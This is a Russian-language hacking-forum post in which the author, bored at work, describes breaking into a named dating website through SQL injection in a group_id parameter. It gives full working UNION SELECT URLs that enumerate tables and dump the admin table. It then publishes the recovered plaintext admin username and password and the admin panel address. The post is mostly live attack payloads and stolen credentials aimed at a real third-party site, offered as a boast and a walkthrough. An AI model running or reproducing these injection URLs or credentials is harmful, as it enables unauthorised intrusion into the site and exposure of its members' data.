Форум АНТИЧАТ - Показать сообщение отдельно

ну я сегодня в угаре(на работе нечего делать) =))))

сайт знакомств, с виду приличный...а как капнёшь глубже...ппц

Смотрим, скуля начинает ругаЦЦо =)

Код:

http://www.datingfunda.com/clubs/group_profile.php?group_id=-215'

пробиваем поля, у нас их 23, из них штук 5 принтабельных.
Версия скулИ 5-я (везёт мне) =)

поперебирал я лимитом....нашёл таблицы

dating_adminmembers:::username
dating_adminmembers::: password

Код:

http://www.datingfunda.com/clubs/group_profile.php?group_id=-215+union+select+1,2,3,4,concat_ws(0x3a3a3a,table_name,column_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+information_schema.columns+limit+166,1--

и

members:::username
members::: password

Код:

http://www.datingfunda.com/clubs/group_profile.php?group_id=-215+union+select+1,2,3,4,concat_ws(0x3a3a3a,table_name,column_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+information_schema.columns+limit+519,1--

Я брал админа

Код:

http://www.datingfunda.com/clubs/group_profile.php?group_id=-215+union+select+1,2,3,4,concat_ws(0x3a3a3a,username,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+dating_adminmembers--

admin:::admin456
пасс в чистейшем виде, оч замечательно =)

ОдминкО: http://www.datingfunda.com/webadmin/